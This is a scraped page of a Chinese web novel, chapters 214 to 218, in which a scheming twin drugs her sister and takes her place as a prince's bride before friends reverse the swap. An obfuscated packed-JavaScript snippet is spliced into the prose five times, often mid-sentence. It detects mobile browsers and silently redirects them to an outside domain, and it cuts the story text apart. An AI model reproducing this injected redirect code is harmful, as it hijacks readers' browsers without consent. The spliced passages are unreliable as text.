邢初雪已经换上了大红嫁衣,霞帔上绣着繁复的云纹和牡丹,金线勾勒出祥云与瑞兽,流光溢彩,美极了。 第214章 谁能笑到最后还不一定呢 她本端坐在妆台前上妆,得知陆知苒几人来了,她立马欢喜地要起身相迎,被陆知苒一把摁住了。 “你快好好坐着,赶紧上妆,可别耽误了吉时。” 新娘子的妆容都很厚重,脸上涂抹着厚厚的脂粉,透着假白。 饶是如此,陆知苒还是能看到她眼底那抹青黑,她整个人看上去也颇为疲倦。 陆知苒想到婚前要经历的那番学规矩的过程,心中便了然了。 只怕她这段时日过得也不轻松。 邢初雪歉意地看向萧宝珠和叶寒衣,“我听说你们受伤了,但我实在不方便入宫探望,你们可都痊愈了?” 萧宝珠当着她的面转了个圈,“自然痊愈了,不然也不能来给你添妆了。” 三人陪着邢初雪说话,她脸上的笑意明显多了,也终于后知后觉地感受到即将嫁做人妇的欢喜与忐忑。 想到那短暂见过一面的英俊男子,她的脸上不禁浮起一抹绯红。 陆知苒眼尖,看到她掌心似有异样。 “你的手怎么了?” 邢初雪下意识地将手藏了藏,摇头,“没事。” 陆知苒不容置疑地拉过来,摊开,就见她的掌心上一片红肿,似被竹条打出来的。 几人惊呼。 萧宝珠很生气,“是不是教**嬷嬷动手打的你?她只是个奴才,怎么敢?我这就去把她喊来问问!” 邢初雪赶忙把人拦住,“不怪她,是我太蠢笨了。” “你再如何,你也是主子,她一个奴才,有什么资格打你?” 眼见萧宝珠不管不顾的架势,邢初雪把下人遣了出去,这才吐露实情。 “其实,这是我母亲授意的。” 几人闻言,俱是不可置信。 邢初雪低声道:“这段时日,姐姐同我一道,都在与李嬷嬷学规矩。姐姐处处都做得尽善尽美,而我处处都比不上,李嬷嬷虽然严厉,但也不敢对我用刑。是我母亲,她瞧见我如此不成器,很是生气,斥责我没有好好学,让李嬷嬷对我无需客气,该打便打,李嬷嬷这才动了手。” 她迄今还记得,那竹板打在手心上的感觉,疼得她连连吸气。 白日里,当着人前,她不敢哭,只能在夜里躲在被子里偷偷落泪。 今日她本不打算说出来,平白惹她们担心,但却被陆知苒发现了。 三人听罢,脸上都现出怒容。 “邢夫人怎么能如此对你?你姐姐的规矩学得再好又如何?要嫁进王府的是你不是她,邢夫人怎能如此偏心!” 萧宝珠吃够了偏心的苦,也最看不惯偏心之人。 叶寒衣自幼都是享受宠爱之人,更无法理解邢夫人的此番行径。 陆知苒却知道,人心本就是偏的,不被偏爱的人,便是做再多的事也改变不了这个结果。 邢初雪苦笑,“我的确处处比不上姐姐,不怪母亲偏心。” 萧宝珠满肚子火气,但那是邢初雪的母亲,今日又是她大喜之日,萧宝珠只能把这股火气硬生生压了下去。 见到她们眼里流露的关心,邢初雪满心感动。 “我没事,都过去了,我很快就出嫁了,我母亲就算对我再不满意,也不可能再想对我怎样。” 三人听了,也只能暗叹一句,家家都有一本难念的经。 萧宝珠宽慰她,“我五皇兄虽然闷了些,但脾性挺好的,他定会好好待你。如果他欺负你,你就告诉我,我去替你讨公道。” 邢初雪听得越发感动,几乎要落下泪来。 这些与她没有血缘关系之人都待她这般好,而自己的血亲却…… 人果然要经历了一些事,才会真正地成长和认清一些事情。 以往,她又怎知自己的亲人会是这样的呢? “妹妹,这大喜的日子,你怎么哭了?” 一道声音传来,是邢初樱推门而入。 见到里面的情形,她的眸底闪过一抹异样。 她这妹妹,平日里看似憨傻,从不刻意交际往来,实际上却这般有手段,短短时间内就结交上了自己都攀不上的人。 以往,是自己错看她了。 邢初雪立马收了眼泪,几人也迅速调整了面色。 邢初樱笑盈盈地向萧宝珠和陆知苒行礼,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15175730|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心了一番萧宝珠与叶寒衣的伤情,二人的回复都客气疏离,与方才对邢初雪的亲近截然不同。 气氛略有尴尬,三人便没继续久留,转而到花园去了。 她们一走,邢初樱脸上的笑意就落了下去,她眸光冷冷地扫了邢初雪一眼,“大喜的日子哭哭啼啼,若是传出去,旁人只怕以为你不想嫁进安王府呢。” 邢初雪已经擦掉了眼角的泪,以往她或许会忍让,但今日,她不想忍了。 “今日是我大喜的日子,姐姐却依旧对我没一个笑脸,不知道的,怕是以为你不希望我嫁进安王府。” 邢初樱闻言,面色骤变,整个人似被踩了痛脚,一下跳了起来。 “好啊,果然是要飞上枝头做凤凰的人,底气都不同了,也丝毫不把我这个姐姐放在眼里了!” 邢初雪冷冷地看着她,“姐姐一再言语刁难,但我也不是泥捏的,以后,姐姐对我还是客气些为好。” 邢初樱气得面容扭曲,指甲也深深掐进肉里。 好,好得很,还没嫁进安王府,就已经开始给她摆王妃的架子了! 且等着,谁能笑到最后,还不一定呢! 邢初樱怒而转身,这时,一个丫鬟刚好入内,手里拿着一个小锦盒。 “二小姐,这是林家表小姐给您送来的添妆礼。” 邢初雪一听,脸上的冷意这才敛了起来。 “慧表姐人呢?” “表小姐送了礼就走了。她说自己是和离之身,不便入府。” 邢初雪听得有些心酸,正要起身接过那锦盒,邢初樱就劈手夺过,直接打开了。 “她既知自己是和离之身,还往跟前凑,也不嫌晦气!这是什么东西?嗤,竟有人送添妆礼只送一件小衣,真是小家子气!” 再一细看,那小衣上的刺绣分外精致,赫然是一幅百子千孙图。 邢初樱捏着那小衣,只觉得心口又被刺了一下。 “这晦气东西,我便替你扔了,以免沾染了霉运,日后也落得个和离的下场。” 说完,她便将那小衣扔在了地上,还抬脚踩了两下。 第215章 求证一个事实 邢初雪立马上前捡起,那上面赫然多了一道脚印。 她只觉得一股怒火直冲脑顶,扬手直接就给了对方一记耳光。 “啪”的一声脆响,把邢初樱打得呆愣当场。 待反应过来,她不可置信地怒瞪着对方。 “你,你竟敢动手打我!” 邢初雪眸光冰冷,“打的就是你!这是慧表姐给我的添妆礼,你凭什么随意糟蹋?方才我便警告过你,以后对我说话客气些,看来你是半点没把我的话放在心上!” 邢初樱气得面容扭曲,“你……” “我现在不想见到你,请你离开!” 邢初樱何曾受过这样的委屈?一时脸色似进了染色坊似的,一阵青一阵白,精彩极了。 邢初雪已经转身坐回了梳妆台,没有再分给她半个多余的眼神。 邢初樱的面色阴沉,眼神阴鸷,整个人都透着一股森然的冷意,那丫鬟瞧见了,吓得噤若寒蝉。 邢初樱甩袖而去,邢初雪却觉得畅快极了。 那一巴掌,算是把她这段时间的憋屈一股脑发泄了出去。 至于对方会不会恼怒,会不会记恨,她都不在乎。 但再看到手中脏污的小衣,她又觉得自己打得太轻了。 这小衣用的是最上好的料子,柔软细腻,入手丝滑,那上面的刺绣,绣得精致极了,一看就是出自慧表姐之手。 而这幅百子千孙图,更是慧表姐对她的最好祝福。 她为了顺利和离,嫁妆都没能拿回来,身上的银钱并不宽裕,自是准备不起太过贵重的添妆礼。 这份礼物,已经是她能拿得出的,最好的东西了。 邢初雪很喜欢。 只可惜被弄脏了。 待到了安王府,她便让丫鬟好生清洗,定要恢复原样。 陆知苒三人离开后,不知她们姐妹还起了这么一场争执。 三人心里虽然都有很多话,但到底是在邢家,她们也不好议论,便什么都没多说。 终于到了吉时,新娘子盖着红盖头被喜娘搀着走了出来。 安王萧晏珩穿着一身大红喜服,腰间束着一条玉带,衬得其身形挺拔如松。最为出众的是他的容貌,他的五官立体,每一处都生得恰到好处,唇边至始至终都挂着一抹淡淡的笑意,仿若春风拂面,令人心醉。 路边百姓瞧了,都发出惊艳的倒吸冷气声。 萧宝珠看着自家五皇兄,也不禁感叹,“五皇兄生得可真是越来越妖孽了。得亏他不常出门,不然,京中不知多少贵女要被他迷得神魂颠倒了。” 陆知苒和叶寒衣都深以为然。 萧晏珩从喜娘手中扶起新娘,他的五指纤长,新娘的手柔白细嫩,二人的手握在一处,分外赏心悦目。 陆知苒被萧宝珠拉着,就站在花轿旁,将这一幕看得分外清楚,她的眼神不禁微微眯了眯。 她环顾四周,似在搜寻什么,却一无所获,她的眸色更深了几分。 轿夫抬起花轿,喜乐开始吹吹打打,一路往安王府而去。 萧宝珠拉着她们便要一道同去。 待会儿她还要去闹洞房呢。 陆知苒却没有动,“宝珠,寒衣,我发现了一件事,必须要马上去求证,我需要你们的帮忙。” 她满脸严肃,这番态度让两人都愣住了。 萧宝珠也收起了玩笑之色,“什么事啊?” 陆知苒让两人凑过来,在她们耳边低语一番,两人顿时惊得瞪大了眼。 萧宝珠气得脸色铁青,“她们怎么敢如此大胆!” “我也不敢确定是不是自己看错了,但人心难测,我既有了怀疑,总要去求证一番方能放心。” 三人飞快商议了一番,很快有了决断。 萧宝珠跟着花轿一道往安王府,陆知苒和叶寒衣则是折返邢家,去弄清事情的真相。 陆知苒唤来霜华,对她交代一番,霜华很快离开。 今日邢家办喜宴,宾客众多,她们在邢家后院中行走也并不显突兀。 她们要去找一个人! 她们分头行动,一明一暗地搜寻,最后,在邢初樱的房中找到了那人。 那人昏睡不醒,门外有丫鬟守着。 霜华与叶寒衣里应外合,把丫鬟支开,从窗户把人神不知鬼不觉地带走,带到了邢家一处偏远荒废的厢房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15180467|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>霜华给她施了一针,她终于悠悠地睁开了眼睛。 懵懂一瞬,待看清眼前人,她愣愣开口。 “我这是怎么了?我怎么会在这里?” 陆知苒目光深深地看着她,“初雪,你被你姐姐算计了,她已经代替你上了花轿,往安王府去了。” 眼前之人,的的确确就是邢初雪。 她本该是今日的新娘,却躺在了邢初樱的房中,无人知晓她们姐妹二人已经被调换了。 而陆知苒之所以能发现这个秘密,也是因为方才离花轿很近,她看到了新娘那洁白细嫩的双手。 邢初雪的手是被鞭打出来的痕迹,不可能一下就恢复到那般完好的程度。 唯一的可能便是,新娘被掉包了。 这样的戏码看似荒唐大胆,但陆知苒可不陌生,她那好妹妹不也曾经用在自己身上吗? 听了陆知苒的话,邢初雪原本还有些混沌的脑子顿时清醒了过来。 她经历了震惊,惶恐,难以置信,到最后,变成了难以言喻的愤怒。 “她怎么能这么做?她怎么敢这么做!” 陆知苒的声音冷冽如刀,“只要利益足够诱人,就总有人愿意去冒险。” 邢初樱和邢初雪乃双生姐妹,二人的容貌有九成相似,不熟悉她的人,很难辨认出她们。 邢初樱根本不用刻意装扮,她只需要穿上那身红嫁衣,就没人能怀疑她的身份。 安王与她不过一面之缘,也定然想不到自己的王妃已然换了人。 邢初雪愤怒起身,“我这就去揭穿她!” 因为被下了药,她的身上还一阵发软,起身时候太过激动,身子狠狠一个趔趄,又摔了回去,叶寒衣伸手,一把稳稳地扶住了她。 “你确定要直接冲出去闹吗?此事闹开,你们邢家就要背上欺君之罪。” 陆知苒补充,“而且,你敢保证邢大人和邢夫人,会站在你这边吗?” 她还有一句话没说,这件事,真的只是邢初樱一个人所为吗?邢夫人有没有参与?这些都有待查证。 邢初雪的身子僵住,想说话,但张了张嘴却什么都说不出来。 第216章 **最能保守秘密 父亲母亲会站在自己这边吗? 母亲素来偏向姐姐,觉得姐姐比自己更适合嫁进安王府。 父亲即便不偏不倚,可此事已成定局,他又岂会为了自己的公道,赌上邢家上下所有人的性命和前途? 父亲最有可能做的,就是将错就错,将她们两姐妹的人生彻底对换。 从今以后,她不再是邢初雪,而是变成了邢初樱。 “我不甘心!凭什么我的人生要被别人窃取?” 她的双目赤红,浑身都被怒意充斥。 陆知苒见她如此反应,反倒笑了。 若邢初雪就此认命,接受了旁人对她的算计,陆知苒反而会失望,也会重新考虑是否要继续维系这段友情。 邢初雪没有让她失望。 “你想拿回属于自己的一切,对吗?” 邢初雪用力点头,“这段时日,我处处忍让,只因顾念姐妹情谊,不欲与家人离了心。殊不知,我的忍让换来的却是对方的变本加厉,今日我若是认命了,那我后半辈子,就要一直被她压上一头。” 陆知苒对她的清醒很高兴,忍让换不来和平,只有强势的反击和碾压可以。 “你能这样想,我很高兴。你我相交一场,我定会助你把一切夺回来。” 邢初雪抹了一把脸,收起了眼泪。 “可是花轿早就走了,他们定然早就拜了堂,入了洞房,现在还来得及吗?” 邢初雪的心头升起一股难以言喻的绝望。 “来得及,只要他们还没有圆房,一切就都来得及。” 陆知苒的语气笃定,让邢初雪也瞬间燃起了希望。 “那,那我们该怎么做?除非我冲出去大闹,不然,我怎么可能揭穿她?” 她若是那么做了,自己也要跟着遭殃,如此伤敌一千自损八百之举,实在不明智。 陆知苒轻轻一笑,“谁说非要大闹不可?她如何取代你的,你便如法炮制,一切自然就拨乱反正了。” 邢初雪愣怔一瞬,这才恍然大悟。 是了,她本就是新娘,她只需要顺利进到新房,把姐姐迷晕,再重新穿上嫁衣,自然就能让一切回归原位。 至于她姐姐,自然是从哪里来,回哪里去。 “宝珠已经先去了安王府,看着你姐姐。届时,她也会配合我们,一起办成此事。” 听了她们这番周密安排,邢初雪顿时满心感动。 “我真是三生有幸,能结识你们这样的好友。” 陆知苒笑了笑,她会这样帮邢初雪,也并非没有私心。 若能借着她拉拢安王,让安王也能为萧晏辞所用,于他们而言,又是一大助力。 叶寒衣突然道:“那令姐呢?你打算如何?” 邢初雪道:“自然是送回邢家,交由爹娘处置。” 叶寒衣微微蹙眉,“她抢你的夫婿,或许还要害你性命,你就这么轻易放过她?” 邢初雪瞪大了眼,不可置信,“她怎会害我性命?” 叶寒衣淡声问:“你知道什么人最能保守秘密吗?” 邢初雪不语。 叶寒衣自顾自地道:“**。” 邢初雪身子一个哆嗦。 “她一旦入了安王府,站稳了脚跟,必然会生出顾虑,担心你的存在会威胁到她的地位。只有**,才能真正做到守口如瓶。你**,就没人能揭穿她。” 邢初雪面色惨白了几分。 她下意识摇头,“不,不可能的,这,怎么可能?我们毕竟是亲姐妹!” 叶寒衣笑她单纯,“令姐能做出换嫁之事,可见其自私自利,品性堪忧。这样的人,底线在哪里?她做这些的时候,就没把你当成亲姐妹。你对她手下留情,日后只会遭到对方更加猛烈的**。” 她自幼跟在父亲和祖父身边,学习他们的带兵和御下之术。 不要把人性想得太过美好,也不要对敌人太过仁慈,这是他们教会她的一条金科玉律。 陆知苒不禁看向叶寒衣,再次对她生出刮目相看来。 对待敌人的仁慈,就是对待自己的残忍。 上辈子她便吃够了苦头,这辈子才有所成长。 而叶寒衣,看似大大咧咧,却粗中有细,对任何事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15180468|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她心中都有一杆秤。 叶家当真了不得,能教出这样优秀的后辈来。 邢初雪依旧不愿相信,“父亲母亲不会让她这么做的!” 她也是他们的女儿,他们不可能对她这么狠心绝情。 叶寒衣看着她,认真地道:“假若此事无人发现,令姐成功李代桃僵,一开始,令尊和令慈或许会对你心存愧疚。但如果令姐巧舌如簧,一再怂恿煽动,难保令尊不会为了保守这个秘密而做出其他选择。毕竟,在整个家族的未来面前,一个女儿的生死,的确不值一提。” 这话说得残忍直白,但却是很有可能发生的事实。 任何感情都禁不起考验。 陆知苒也开了口,“我觉得寒衣说得很对,令姐从最开始谋划这件事,只怕就已经对你生了杀心。” 邢初雪已经接受了自己被姐姐换嫁的事实,现在,又要接受自己要被家人联合灭口的可能,这个打击于她而言实在太大,她心头翻涌着一阵强烈的情绪,久久难以平复。 好半晌,她才终于恢复平静,这一刻,她的眸底多了一丝不一样的情绪。 她不再似之前那个天真单纯,不谙世事,她已经蜕变成长了。 沉默许久,她终于开了口。 “就算如此,我也不会杀她。我不想让自己也变成她那样,冰冷残酷,毫无人性。但从今以后,我也不会再把她当成姐妹,她若再敢算计我,下一次,我定然不会再对她手下留情。” 叶寒衣和陆知苒听此,便不再多言。 她们尊重她的选择。 这样的她,也才是真正的她。 这就是她与邢初樱不同的地方,若她也变成了邢初樱那样,才是叫人觉得陌生和可怕了。 霜华偷来了一身丫鬟的衣裳让邢初雪换上,又给她的脸上涂抹一番,她便跟在陆知苒和叶寒衣身后,光明正大地离开了邢家,往安王府而去。 而这一头,新娘子已经到了安王府,与安王完成了拜堂礼,送入了洞房。 喜房中,安王萧晏珩用喜秤挑开了新娘子的盖头。 第217章 多谢你救了我 萧宝珠全程都挤在最前面,目光一直死死地落在对方的脸上。 她的脸上画着浓重的妆,若是以往,萧宝珠定然认不出来。 但因为事先得知了此事,萧宝珠再细细分辨,一下就辨认出了细微差别。 她们的眼睛长得不一样,眼神更是截然不同,她这眼神,一看就透着股矫揉造作和精明算计! 这人果然是邢初樱! 萧宝珠虎视眈眈地盯着她,若不是情况不允许,她定要立马冲上去狠狠揭穿这女人的真面目。 邢初樱还不知道,因为一双手,自己暴露了。 盖头揭开,她的眼前一亮,入目便是一张俊逸非凡的脸。 瞬间,她的心头怦然一跳。 当日在宫中,她便觉得安王容貌俊美非凡,而今近距离地看,更是恍若谪仙般,叫她的呼吸都瞬间凌乱,看着他的眼神也痴了。 这般俊美的男子,合该是她的丈夫,邢初雪那样粗鄙之人怎配? 萧晏珩垂眸看着眼前的女子,他的唇畔至始至终都挂着一抹温柔笑意,只是眸光微不可查地幽深几分。 喜娘笑着说着讨喜话,“王爷王妃可真是郎才女貌,天生的一对儿。” 邢初樱娇羞地低下了头,耳垂也不自觉红了。 接下来便是喝合衾酒,方算礼成。 丫鬟倒了两杯酒,送到了萧晏珩与邢初樱面前。 二人端起,正待完礼,萧晏珩突然发出一阵呛咳,酒杯里的酒洒了一地,连带着,邢初樱的裙摆和绣鞋也被打湿了,丫鬟赶忙上前擦拭。 萧晏珩掩唇咳嗽,目光不经意间,落在了那双精致的绣鞋上。 他咳得面颊潮红,整个人便似观音坐下的仙童一般,平添几分艳色。 一个男子,生成这般模样,有几人能抵抗得住? 邢初樱起身欲给他拍背,萧宝珠抢先一步,一把将人搀了过来。 “五皇兄,你怎么样?你的身体不好,不宜饮酒,快把酒杯放下,这里头太闷了,先到外头透透气。” 萧晏辞依旧咳嗽不止,根本连话都说不出来,就这么被萧宝珠连拖带拽地带出了喜房。 邢初樱都傻眼了,喜娘等一众人也呆愣当场。 新郎官都走了,这合衾酒还怎么喝? 邢初樱的脸色笼上一片阴云,十分难看。 萧宝珠是怎么回事?她与邢初雪不是很要好吗?怎的这般没有眼力见地搅局? 合衾酒没喝,这礼就不算成,她这个王妃也就不够名正言顺,邢初樱总有一种悬而未定的感觉。 喜娘赔着笑,“王妃,您看,现在要如何?” 一声“王妃”,总算是让邢初樱心情重新明朗起来。 不过是一杯合衾酒罢了,无关紧要,大不了待会儿洞房前,再和他把这杯酒补上。 邢初樱露出一抹温婉的笑,“王爷的身子要紧,这合衾酒便暂时作罢吧,诸位辛苦了,且去好生松快松快,无需在我跟前伺候了。” 说完又示意身边人给每个人发了红封,喜娘等人便欢欢喜喜地退了出去。 到了喜房外头,萧晏珩才慢慢停了咳嗽,只是脸上依旧浮着一抹未褪的红云,萧宝珠这个亲妹妹瞧见了,都得赞一句真乃人间绝色。 萧宝珠松开他,朝他讪笑,“五皇兄你一出来就没事了,果然是那喜房太闷了。” 萧晏珩目光在她的脸上转了一圈,轻嗯了一声。 “那个,五皇兄,你晚些再进去吧,先在外头透透气。” 萧晏珩点了点头,“你说得很对。” 他又打量了萧宝珠一圈,“你瘦了不少。身子可完全恢复了?” 他们兄妹关系不算熟络,萧宝珠受伤之后他并未去探望过,只是派人送去了滋补的药材。 这样不远不近的交往是他们相处的常态,萧宝珠也并未觉得有何不妥。 萧宝珠捏了捏脸,笑了起来,“好了好了,我现在壮得跟头牛似的。大家都说我瘦了,那我这伤也不算白受。” 萧晏珩并不赞同,“以往你那样就挺好的,现在太瘦了,好好养养,把亏损的元气补回来。” 萧宝珠眼珠子都瞪圆了,“五皇兄,你说的话怎么跟父皇一模一样?” 萧晏珩正色,“这说明我们说的都是对的,你乖乖听着便是。” 萧宝珠老实点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15188870|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >反正她本来也爱吃,她可不会为难自己。 两兄妹难得聊了不少,气氛倒也融洽。 直到有下人来传话,请他到前头待客,萧晏珩这才离开。 离开了后院,萧晏珩立马唤来心腹,低声吩咐了些什么。 此时的他,脸上一片肃然,眼底甚至还透着一丝冷意。 萧宝珠目送萧晏珩往前院去,松了口气。 只要他不进新房,那邢初樱就没法子和五皇兄发生些什么,事情就还有转圜的余地。 她今夜哪儿都不去,就守在新房前,决不能让那满腹心机的女人把她五皇兄给玷污了。 萧宝珠抬腿欲走,余光忽而瞥见前方回廊处站着一人,正看着自己这边。 “谁在那里?” 那人身形明显顿了一下,迟疑片刻,才缓慢地从阴影处走了出来。 待看清了眼前人,萧宝珠不禁瞪大了眼睛。 “孙牧之?你,你怎么也在这儿?” 那日情况危急,萧宝珠都没有来得及认真打量他,而今他站在自己面前,萧宝珠陡然生出一股压迫感来。 眼前之人身形高大挺拔,一身玄色的锦衣,越发衬得他身高腿长,肩宽腰窄,十分惹眼。 他的五官十分立体,似刀削斧凿一般,棱角分明。一双眸子很黑,不说话的时候,整个人看起来有些阴沉沉的。 跟萧宝珠记忆中哭唧唧的粉团子截然不同。 他朝萧宝珠躬身行礼,“草民见过九公主。今日安王大婚,草民特来庆贺。” 萧宝珠“哎呀”了一声,“行什么礼,快起来,你身上不是还有伤吗?” 孙牧之缓声,“草民皮糙肉厚,身上的伤已然痊愈了。” 他自小体格便异于常人,不仅力气大,恢复速度也十分惊人。 加上那日服下的虎胆,让他的伤口好得更加迅速,现在他只要不做太过剧烈的运动,便与常人无异。 “我还没来得及向你道谢,那日多谢你救了我。” 萧宝珠语气真诚,看着他的眼神也充满了真诚恳切。 孙牧之直视着她的目光,语气沉缓,“保护公主,是草民该做的。” 第218章 这才是他的王妃 萧宝珠小声咕哝,“你现在说话怎么一板一眼的?” “草民……” 萧宝珠赶紧打断他,“你快别一口一个草民了,你不累我都累了。” “礼不可废。” 萧宝珠满不在乎,“真要论起来,我还得喊你一声表哥呢,咱们都是自家人,不必讲那些虚礼。” 孙牧之的喉结动了动,轻声道了句,“好。” “你救了我,我该给你准备谢礼的,但我不知你想要什么。” 孙牧之沉吟片刻,开口道:“家母独自在家,无人相伴,平日里颇为孤单,我一直想为她寻一只乖巧温顺的猫或狗,为其解闷,但却苦寻不得。不知公主可否替我搜寻一番?” 萧宝珠闻言,豪迈地一拍胸脯。 “这有何难?交给我便是。待我寻到了,就派人送到府上。” 孙牧之唇角微勾,露出了一抹笑来,一笑间,他整个人周身那抹阴沉冷厉的气场瞬间冰雪消融,萧宝珠不禁微微一愣。 她这时才后知后觉地反应过来,这小子长得还不赖咧。 “多谢公主。” 萧宝珠嗔了他一眼,“这是我给你的谢礼,你怎么整天谢来谢去的?” 又小声咕哝了一句,“半点没有小时候可爱。” 她这话说得小声,但孙牧之耳力好,一字不差地全听在了耳中。 孙牧之的眸色不禁深了几分。 萧宝珠又问,“三舅母的身子怎么样了?可痊愈了?” 萧宝珠也听说了甄氏去敲登闻鼓之事,冯有才虽第一时间赶去,但还是晚了一步,她被秦中举下令打了几板子。 孙牧之的面上浮起一抹黯淡,“母亲的身子素来不好,这次受了刑,恢复得也慢,还需再休养一段时间方能痊愈。” 母亲是为他受过,孙牧之十分心疼愧疚。 萧宝珠出声宽慰,“三舅母为人心善,定能福泽绵长,长命百岁。” 孙牧之点头,“嗯,一定会。” 萧宝珠一拍脑门,“哎呀,差点忘了正事,我先走了,不跟你说了。” 说完,没等孙牧之开口说话,她一溜烟似的跑了。 孙牧之目送着她,直至她的背影彻底消失。 她还是如幼时那般,性情风风火火,也依旧那般淳善。 一个小厮模样的人匆匆而来,“公子,您怎么又到处乱跑?夫人吩咐了,要小的看好您,万不能让您的伤处出半点问题。” 孙牧之收回目光,面上多了一丝无奈,“我无事,母亲委实是瞎操心。” “您那日被抬回来的时候甚是吓人,夫人被吓坏了,自然紧张。往日您最不喜这些宴会,今日却非要来道贺,夫人肯让您出门已是格外开恩了,您今日回去若少了一根毫毛,夫人定要拿小的是问。” 他絮絮叨叨的,孙牧之全当成了耳旁风。 他的确不喜宴会,今日会来,也是因为想见一个人。 方才,他已经见到了。 萧宝珠跑回喜房前,赶紧向丫鬟打探了一番,得知五皇兄没有再回来,她才松了口气。 现在,就等着苒姐姐那边的消息了。 希望她们能尽快找到初雪,不然,时间太晚了,她也拦不住五皇兄啊。 外院觥筹交错,十分热闹,一阵阵香味飘了过来。 萧宝珠摸着肚子,狠狠咽着唾沫。 好想吃东西,但她不能走,她得守着。 不知过了多久,她的眼睛骤然一亮。 “苒姐姐,你们找到人了吗?” 跟在她们身后的一人稍稍抬起头,朝她看来。 萧宝珠先是一愣,待认出对方,这才露出笑。 “走,我们找那**算账去!” 萧晏珩自娘胎起就带了弱症,是以,今日也无人敢真正灌他酒,若是要喝,也是以茶代酒。 这时,心腹长风上前,附耳低语了几句,萧晏珩的眸色微动。 又笑着与众宾客交际一番,萧晏珩便掩唇咳嗽起来,好容易缓了过来,他歉意地向众人致歉,便提前离席了。 众人面上没多说什么,心里却不免生出鄙夷。 这安王倒是生得一副赛美人的好样貌,只可惜,身子骨差劲,只怕是个银样镴枪头。 回到内院,萧晏珩沉声问,“怎么回事?” 长风恭敬回禀,“回殿下,方才九公主与平乐县主,叶小姐带着一名丫鬟进了新房,房中很快起了争执,还摔了茶盏,属下听到王妃喊了一句,‘我才是王妃’,但很快就被人捂了嘴,没了动静。没多会儿,她们就扶着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15188871|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫鬟出来,径直出了府。” 萧晏珩眸色微深,“白羽那头,可传回了消息?” 方才,从新房里出来,萧晏珩就吩咐白羽前往邢家,去找一个人。 长风摇头,“尚未回来。” “你也去一趟邢家,告诉白羽,人已找到。另外,邢家今夜发生的一切,都尽数回禀。” 长风颔首,身形很快消失在了夜色中。 萧晏珩抬步往新房而去,门外的丫鬟见到他,赶忙躬身行礼。 “奴婢见过王爷。” 萧晏珩颔首,那丫鬟十分有眼力见地打开了房门。 他迈步而入,就对上了一双不知所措的眼睛。 方才,她们几人合力,快刀斩乱麻地把邢初樱药倒,邢初雪重新换上了嫁衣,拿回了属于自己的身份。 一切都格外顺利,邢初樱手无缚鸡之力,完全招架不住她们的突袭。 邢初雪穿着嫁衣坐在这新房中,许久都没有恢复冷静。 偏偏,萧晏珩回来了,比她预想中要快许多。 明明她才是名正言顺的安王妃,现在一切只是拨乱反正,回归正轨,但她却莫名心虚。 她的脑子也似被浆糊黏住了,完全忘了该如何反应。 萧晏珩定定看着她。 这双眼睛,与当日在宫中偷看他的那双眼睛如出一辙。 这才是他的王妃。 萧晏珩生了一双利眼,她们这对双生姐妹花在旁人看来长得一模一样,但在他眼里,却是截然不同的两个人。 方才盖头一揭开,他就认了出来,那是个冒牌货。 邢家两姐妹,父皇让他娶谁,他都无所谓。 但邢家偷梁换柱的行径,却是触了他的逆鳞。 萧晏珩的怒气瞬间翻涌,只是他喜怒不形于色,无人察觉到。 萧宝珠将他拉出婚房,他也顺势而为。 而今看来,萧宝珠早就知道了此事,方才都是刻意为之。 而他这位王妃,只怕也是被亲姐姐算计了。 